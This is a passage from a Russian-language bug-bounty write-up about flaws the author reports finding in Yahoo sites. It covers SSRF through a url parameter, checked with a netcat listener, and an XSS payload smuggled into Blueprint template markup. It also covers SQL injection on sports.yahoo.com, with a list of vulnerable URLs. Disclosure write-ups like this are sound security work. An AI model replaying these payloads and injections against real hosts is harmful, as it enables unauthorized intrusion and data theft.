href=\"http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html\">http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html<\/a>)<\/i>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">json-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440<\/b><\/p>\n<div class=\"spoiler_text\">{\u00abheadline\u00bb:&quot;\\u5f71\\u97ff\\u5e02\\u5834\\u7684\\u807d\\u8b49\\u6703\\u5373\\u5c07\\u4f86\\u5230 Fed\\u4e3b\\u5e2d\\u8449\\u502b\\u6210\\u70ba\\u7126\\u9ede&quot;,\u00abpageUrl\u00bb:\u00abhttp:\\\/\\\/tw.stock.yahoo.com\\\/news_content\\\/url\\\/d\\\/a\\\/140210\\\/2\\\/49cvs.html\u00bb,\u00abprovider\u00bb:{\u00abcobrand_logo\u00bb:\u00abhttp:\\\/\\\/tw.yimg.com\\\/i\\\/tw\\\/stock\\\/revamp\\\/cnyes_logo_130_30.gif\u00bb,\u00abcobrand_name\u00bb:&quot;\\u9245\\u4ea8\\u7db2&quot;,\u00abcobrand_url\u00bb:\u00abhttp:\\\/\\\/www.cnyes.com\\\/\u00bb,\u00abenglish_name\u00bb:\u00abcnYES.com\u00bb,\u00ablegal_name\u00bb:&quot;\\u9245\\u4ea8\\u7db2&quot;,\u00abtitle\u00bb:&quot;\\u9245\\u4ea8\\u7db2&quot;},\u00abdate\u00bb:\u00ab20140211\u00bb,\u00abunixtime\u00bb:\u00ab1392058608\u00bb,\u00abauthor\u00bb:&quot;\\u7de8\\u8b6f\\u90ed\\u7167\\u9752&quot;,\u00absummary\u00bb:&quot;\\u65b0\\u4efb\\u806f\\u6e96\\u6703(Fed)\\u4e3b\\u5e2d\\u8449\\u502b\\u672c\\u5468\\u5c07\\u9996\\u5ea6\\u5728\\u570b\\u6703\\u9032\\u884c\\u807d\\u8b49\\u6703\\uff0c\\u70ba\\u83ef\\u723e\\u8857\\u6240\\u77da\\u76ee&quot;,\u00abcoverStory\u00bb:\u00abY\u00bb,\u00absource\u00bb:&quot;\\u9245\\u4ea8\\u7db2&quot;,\u00abcategory\u00bb:\u00abN10\u00bb,\u00abparagraphs\u00bb:[&quot;\\u65b0\\u4efb\\u806f\\u6e96\\u6703(Fed)\\u4e3b\\u5e2d\\u8449\\u502b\\u672c\\u5468\\u5c07\\u9996\\u5ea6\\u5728\\u570b\\u6703\\u9032\\u884c\\u807d\\u8b49\\u6703\\uff0c\\u70ba\\u83ef\\u723e\\u8857\\u6240\\u77da\\u76ee\\u3002Cumberland\\u9867\\u554f\\u516c\\u53f8\\u8463\\u4e8b\\u9577David Kotok\\u8aaa\\uff0c\\u6700\\u65b0\\u7684\\u5c31\\u696d\\u5831\\u544a\\u4e0d\\u6703\\u6539\\u8b8aFed\\u7684\\u653f\\u7b56\\u3002&quot;,&quot;\\u300c\\u5c31\\u696d\\u5831\\u544a\\u9069\\u4e2d\\uff0c\\u6295\\u8cc7\\u4eba\\u4e0d\\u9700\\u70ba\\u4e4b\\u6050\\u614c\\uff0c\\u4e5f\\u7121\\u9700\\u70ba\\u4e4b\\u8208\\u596e\\uff0c\\u300dKotok\\u8aaa\\u3002\\u4ed6\\u9810\\u671f\\u8449\\u502b\\u5c07\\u5f37\\u8abf\\uff0cFed\\u4e0d\\u6703\\u53d6\\u6d88\\u4f4e\\u5229\\u7387\\u7acb\\u5834\\u3002&quot;,&quot;\\u300c\\u9019\\u500bFed\\u4e0d\\u6703\\u8b93\\u8106\\u5f31\\u7684\\u7d93\\u6fdf\\u5fa9\\u7526\\u4ed8\\u8af8\\u6d41\\u6c34\\uff0c\\u300dKotok\\u8aaa\\u3002\\u300c\\u4ed6\\u5011\\u4e0d\\u6703\\u9019\\u9ebc\\u505a\\u3002\\u8449\\u502b\\u4e0d\\u6703\\u9019\\u9ebc\\u505a\\u3002FOMC\\u7684\\u591a\\u6578\\u59d4\\u54e1\\u4e5f\\u4e0d\\u6703\\u9019\\u9ebc\\u505a\\u3002\\u300d&quot;,&quot;\\u8449\\u502b\\u5c07\\u65bc\\u5468\\u4e8c\\u4e0a\\u5348\\u5728\\u773e\\u9662\\u91d1\\u878d\\u670d\\u52d9\\u59d4\\u54e1\\u6703\\u9032\\u884c\\u807d\\u8b49\\u6703\\uff0c\\u5979\\u53ef\\u80fd\\u6703\\u9762\\u81e8\\u8f03\\u5468\\u56db\\u5728\\u53c3\\u9662\\u9280\\u884c\\u59d4\\u54e1\\u6703\\u9032\\u884c\\u807d\\u8b49\\u6703\\u6642\\uff0c\\u66f4\\u56b4\\u53b2\\u7684\\u8cea\\u554f\\u3002Kotok\\u8aaa\\u5979\\u5728\\u773e\\u9662\\u5c07\\u6703\\u64c1\\u6709\\u6575\\u4eba\\uff0c\\u4f46\\u4efb\\u4f55\\u7684\\u6575\\u610f\\u5c07\\u6703\\u6eab\\u548c\\u6709\\u79ae\\u3002&quot;,&quot;\\u300cFed\\u7684\\u653f\\u7b56\\u8def\\u7dda\\u5df2\\u5b9a\\uff0c\\u300dKotok\\u8aaa\\u3002\\u300c\\u9084\\u6709\\u5176\\u4ed6\\u66f4\\u70ba\\u91cd\\u8981\\u7684\\u4e8b\\u60c5\\uff0cFed\\u4e26\\u975e\\u5176\\u4e00\\u30022014\\u5e74\\u4ee5\\u4f86\\uff0c\\u9996\\u5ea6\\u53ef\\u5c07Fed\\u4e0d\\u5217\\u70ba\\u91cd\\u8981\\u4e0d\\u78ba\\u5b9a\\u56e0\\u7d20\\u3002\\u300d&quot;],\u00abstockId\u00bb:[],\u00abimages\u00bb:[],\u00abtables\u00bb:[]}  <\/div>\n<\/div>\n<p>  3. \u0414\u0435\u043b\u0430\u0435\u0442 \u0438\u0437 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.<br \/>  \u0421\u0440\u0430\u0437\u0443 \u043f\u0440\u0438\u0448\u043b\u0430 \u0438\u0434\u0435\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u0440\u043b. \u0418 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d, \u043d\u043e \u0438 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0440\u0442:<br \/>  <i><a href=\"http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/example.com:6666\/nonexist\">http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/example.com:6666\/nonexist<\/a><\/i><\/p>\n<p>  \u041d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:  <\/p>\n<pre><code class=\"bash\">nc -lvv 6666 Connection from 202.43.194.189 port 6666 [tcp\/ircu-2] accepted GET \/nonexist HTTP\/1.1 Host: example.com:6666 Accept: *\/* <\/code><\/pre>\n<p>  \u041f\u043e \u0445\u0435\u0430\u0434\u0435\u0440\u0430\u043c \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 CURL (\u043a\u0430\u043a \u043f\u043e\u0442\u043e\u043c \u0441\u0442\u0430\u043d\u0435\u0442 \u044f\u0441\u043d\u043e \u2014 \u0441 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c CURLOPT_FOLLOWLOCATION). \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b:<br \/>   \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442: http, https;<br \/>   \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442: ftp, gopher, tftp, ldap, dict, ssh2, file, telnet, smtp, mailto, pop3, imap;<br \/>   \u2014 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u0447\u0435\u0440\u0435\u0437 Location \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<br \/>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 <abbr title=\"Server Side Request Forgery\">SSRF<\/abbr>.<\/p>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0443\u043c\u043d\u044b\u043c \u0445\u043e\u0434\u043e\u043c \u0431\u044b\u043b\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0443 \u0441\u0435\u0431\u044f \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u0442\u044c \u0435\u0433\u043e: <br \/>  <i><a href=\"http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/example.com:5555\/content_spoofed.html\">http:\/\/tw.m.yahoo.com\/w\/twstock\/news_content.php?url=http:\/\/example.com:5555\/content_spoofed.html<\/a><\/i><br \/>  \u0412\u0443\u0430\u043b\u044f. \u0418\u043c\u0435\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0443 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430. \u041d\u043e \u0435\u0441\u043b\u0438 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430, \u0442\u043e \u0433\u0440\u0435\u0445 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0435 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f XSS. \u042f \u0441\u0442\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u043d\u043e\u2026 \u043e\u043d\u0438 \u0445\u043e\u0440\u043e\u0448\u043e \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c. \u041f\u0435\u0440\u0432\u044b\u043c \u0437\u0432\u043e\u043d\u043e\u0447\u043a\u043e\u043c \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <i>cobrand_url<\/i> \u043d\u0430:  <\/p>\n<pre><code class=\"javascript\">javascript:alert('xss') <\/code><\/pre>\n<p>  \u0412\u0441\u0451 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u043d\u043e \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u043b\u0438\u043a\u0430 \u2014 \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043b\u0443\u0447\u0448\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442. \u0425\u043e\u0442\u044f \u0432 \u043e\u0442\u0447\u0451\u0442\u0435 \u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0436\u0451\u043d\u043d\u0443\u044e \u0434\u0435\u0432\u0443\u0448\u043a\u0443, \u043d\u0443 \u0438\u043b\u0438 \u0433\u0440\u0443\u0441\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u0442\u0438\u043a\u0430.<br \/>  \u042f \u0441\u0442\u0430\u043b \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0434\u0430\u043b\u044c\u0448\u0435 \u0438 \u0441\u0434\u0435\u043b\u0430\u0432 \u0432\u043e\u0442 \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443:  <\/p>\n<pre><code class=\"bash\">&quot;category&quot;:&quot;N10\\&quot;&quot; <\/code><\/pre>\n<p>  (\u044d\u0441\u043a\u044d\u0439\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043d\u0430\u043a \u0434\u0432\u043e\u0439\u043d\u043e\u0439 \u043a\u0430\u0432\u044b\u0447\u043a\u0438). \u042f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u0435\u0441\u044c\u043c\u0430 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0439 error stack trace (\u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b \u0435\u0433\u043e). \u0421\u0443\u0442\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043a\u0430\u043a\u043e\u0439-\u0442\u043e Blueprint \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0442\u043e, \u0447\u0442\u043e \u0435\u043c\u0443 \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u043b\u0438. \u0427\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435? \u041f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0432\u0438\u0436\u0443. \u0418\u0434\u0451\u043c \u0432 \u0433\u0443\u0433\u043b \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432\u043e\u043b\u0448\u0435\u0431\u043d\u044b\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 &quot;<i>w-raw<\/i>&quot;: <br \/>  <i><a href=\"http:\/\/tw.m.yahoo.com\/w-raw\/twstock\/news_content.php?url=http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html\">http:\/\/tw.m.yahoo.com\/w-raw\/twstock\/news_content.php?url=http:\/\/tw.stock.yahoo.com\/w\/news_content\/url\/d\/a\/140210\/2\/49cvs.html<\/a><\/i><br \/>  \u041a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0442\u0435\u043c\u043f\u043b\u0435\u0439\u0442\u0430 (\u043d\u0443 \u043a\u0430\u043a \u044f \u044d\u0442\u043e \u043f\u043e\u043d\u044f\u043b) \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0432\u043e\u0434\u043e\u043c. \u0421\u0442\u0430\u043b\u043e \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0438 \u043a\u0430\u043a \u0441\u044b\u043f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0432\u043e\u0434\u043e\u043c. \u0418 \u043a\u0440\u043e\u043c\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u044f \u043c\u043e\u0433\u0443 \u043c\u0435\u043d\u044f\u0442\u044c \u0441\u0430\u043c\u0443 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443. \u041f\u043e\u0442\u043e\u043c \u044f \u0435\u0449\u0451 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0433\u0443\u0433\u043b\u0438\u043b, \u0435\u0449\u0451 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0447\u0435\u0440\u0435\u0437 <i>w-raw<\/i> \u0438 \u0435\u0449\u0451 \u043f\u043e\u0433\u0443\u0433\u043b\u0438\u043b\u2026 \u0418 \u043d\u0430\u0448\u0451\u043b \u0432\u043e\u0442 \u043a\u0430\u043a\u0443\u044e \u0437\u0430\u0431\u0430\u0432\u043d\u0443\u044e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 Blueprint:  <\/p>\n<pre><code class=\"xml\">&lt;custom-ad mediatype=&quot;text\/html&quot;&gt;&lt;![ CDATA[&lt;img src='http:\/\/csc.beap.bc\u2026\u2026 \/&gt; ]]&gt;&lt;\/custom-ad&gt; <\/code><\/pre>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 CDATA \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u041f\u043e\u0445\u043e\u0436\u0435, \u044d\u0442\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e.<br \/>  \u041c\u0435\u0442\u043e\u0434\u043e\u043c \u043f\u0440\u043e\u0431 \u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u044f \u043d\u0430\u0448\u0451\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 payload:  <\/p>\n<pre><code class=\"bash\">&quot;legal_name&quot;:&quot;legal_name&lt;\\\/block&gt;&lt;module&gt;&lt;custom-ad mediatype=\\&quot;text\\\/html\\&quot;&gt;&lt;![CDATA[&lt;img src='asdfasdf' onerror=\\&quot;alert('xss')\\&quot;&gt;&lt;script&gt;alert('xss2')&lt;\\\/script&gt;]]&gt;&lt;\\\/custom-ad&gt;&lt;\\\/module&gt;&lt;block&gt;&quot; <\/code><\/pre>\n<p>  \u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043e\u0431\u0430 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 <code>&lt;img onerror&gt;<\/code>, \u0438, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, <code>&lt;script&gt;<\/code>. <br \/>  \u041d\u0443 \u0438 \u0441\u0430\u043c\u043e\u0435 \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u043e \u0441\u0443\u0442\u0438 \u0434\u0435\u043b\u0430 \u044d\u043a\u0432\u0438\u0432\u0430\u043b\u0435\u043d\u0442 \u0445\u0440\u0430\u043d\u0438\u043c\u043e\u0433\u043e XSS.<\/p>\n<h5>\u0427\u0430\u0441\u0442\u044c \u0432\u0442\u043e\u0440\u0430\u044f. SQLi \u043d\u0430 *.sports.yahoo.com.<\/h5>\n<p>  \u0421\u0442\u0440\u0430\u0441\u0442\u0438 \u043d\u0430\u043a\u0430\u043b\u044f\u043b\u0438\u0441\u044c. \u0418 \u0442\u0443\u0442 \u044f \u043d\u0430\u043f\u0430\u043b \u043d\u0430 \u0443\u0440\u043b <br \/>  <i><a href=\"http:\/\/sports.yahoo.com\/static\/bir\/nascardrivercompare?year=2013&amp;series=sprint&amp;race=43&amp;c1=99CCFF&amp;c2=00A900&amp;c3=D30897&amp;d1=205&amp;d2=711\">http:\/\/sports.yahoo.com\/static\/bir\/nascardrivercompare?year=2013&#038;series=sprint&#038;race=43&#038;c1=99CCFF&#038;c2=00A900&#038;c3=D30897&#038;d1=205&#038;d2=711<\/a><\/i><br \/>  \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0433\u043e\u043d\u0449\u0438\u043a\u043e\u0432. \u041f\u0435\u0440\u0435\u0431\u0440\u0430\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>race<\/i> \u0443\u044f\u0437\u0432\u0438\u043c. \u041d\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u0443\u0432\u0435\u043d\u0447\u0430\u043b\u0430\u0441\u044c \u0443\u0441\u043f\u0435\u0445\u043e\u043c. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u044e\u0442\u0441\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u044b &quot;&lt;&quot; \u0438 &quot;&gt;&quot;. \u0412\u044b\u0445\u043e\u0434 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c BETWEEN \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u0430. Union select \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u041d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u0448\u0451\u043b\u0441\u044f \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u044b\u043b username@% \u2014 \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e IP. \u041f\u043e \u0441\u0432\u043e\u0435\u043c\u0443 \u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u043e\u043f\u044b\u0442\u0443 \u044f \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0432\u044b\u0432\u0435\u043b \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0448\u043b\u0430\u0441\u044c \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0430\u0434\u043e \u043a\u043e\u043f\u0430\u0442\u044c, \u043d\u0430\u0439\u0434\u0451\u0442\u0441\u044f \u0435\u0449\u0451. \u0422\u0443\u0442-\u0442\u043e \u043c\u043d\u0435, \u043a\u0430\u043a \u0433\u0443\u0441\u0430\u0440\u0443, \u043a\u0430\u0440\u0442\u0430 \u0438 \u043f\u043e\u0448\u043b\u0430. \u041f\u0440\u043e\u0449\u0435, \u043f\u043e-\u043c\u043e\u0435\u043c\u0443, \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0433\u0434\u0435 \u0432 \u044d\u0442\u043e\u043c \u0441\u0443\u0431\u0434\u043e\u043c\u0435\u043d\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e SQLi-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0435\u043c \u0433\u0434\u0435 \u043e\u043d\u0430 \u0431\u044b\u043b\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0431\u044b\u043b\u0438 \u0441\u0435\u0437\u043e\u043d\u044b:  <\/p>\n<blockquote><p><a href=\"http:\/\/sports.yahoo.com\/golf\/pga\/schedule?season=2013\">sports.yahoo.com\/golf\/pga\/schedule?season=2013<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/pga\/stats\/bycategory?cat=CUP_POINTS&#038;season=2013\">sports.yahoo.com\/golf\/pga\/stats\/bycategory?cat=CUP_POINTS&#038;season=2013<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/lpga\/players\/ShinAe+Ahn\/10966\/log?season=2012\">sports.yahoo.com\/golf\/lpga\/players\/ShinAe+Ahn\/10966\/log?season=2012<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/lpga\/schedule?season=2012\">sports.yahoo.com\/golf\/lpga\/schedule?season=2012<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/champions\/schedule?season=2012\">sports.yahoo.com\/golf\/champions\/schedule?season=2012<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/web.com\/schedule?season=2013\">sports.yahoo.com\/golf\/web.com\/schedule?season=2013<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/european\/schedule?season=2013\">sports.yahoo.com\/golf\/european\/schedule?season=2013<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/golf\/pga\/players\/Tiger+Woods\/147\/log?season=2012\">sports.yahoo.com\/golf\/pga\/players\/Tiger+Woods\/147\/log?season=2012<\/a><\/p><\/blockquote>\n<p>  \u0413\u043e\u0434\u0430:  <\/p>\n<blockquote><p><a href=\"http:\/\/sports.yahoo.com\/mlb\/stats\/byposition?pos=1B&#038;conference=MLB&#038;year=season_2013&#038;qualified=1&#038;sort=23\">sports.yahoo.com\/mlb\/stats\/byposition?pos=1B&#038;conference=MLB&#038;year=season_2013&#038;qualified=1&#038;sort=23<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/mlb\/stats\/byteam?cat=Overall&#038;cut_type=0&#038;sort=722&#038;conference=MLB&#038;year=postseason_2013\">sports.yahoo.com\/mlb\/stats\/byteam?cat=Overall&#038;cut_type=0&#038;sort=722&#038;conference=MLB&#038;year=postseason_2013<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/wnba\/stats\/byposition?pos=G&#038;conference=WNBA&#038;year=2013&#038;sort=TEAM_ABBR\">sports.yahoo.com\/wnba\/stats\/byposition?pos=G&#038;conference=WNBA&#038;year=2013&#038;sort=TEAM_ABBR<\/a><br \/>  <a href=\"http:\/\/sports.yahoo.com\/wnba\/stats\/bycategory?cat=Fielding&#038;conference=WNBA&#038;year=2013&#038;sort=29\">sports.yahoo.com\/wnba\/stats\/bycategory?cat=Fielding&#038;conference=WNBA&#038;year=2013&#038;sort=29<\/a><br \/>  <a href=\"http:\/\/ca.sports.yahoo.com\/mlb\/players\/7163\/splits?year=2013&#038;type=Batting\">ca.sports.yahoo.com\/mlb\/players\/7163\/splits?year=2013&#038;type=Batting<\/a><br \/>  <a href=\"http:\/\/ca.sports.yahoo.com\/mlb\/players\/7163\/batvspit?year=2012&#038;type=Batting\">ca.sports.yahoo.com\/mlb\/players\/7163\/batvspit?year=2012&#038;type=Batting<\/a><br \/>  <a href=\"http:\/\/ca.sports.yahoo.com\/mlb\/players\/7163\/situational?year=2012&#038;type=Batting\">ca.sports.yahoo.com\/mlb\/players\/7163\/situational?year=2012&#038;type=Batting<\/a><br \/>  <a 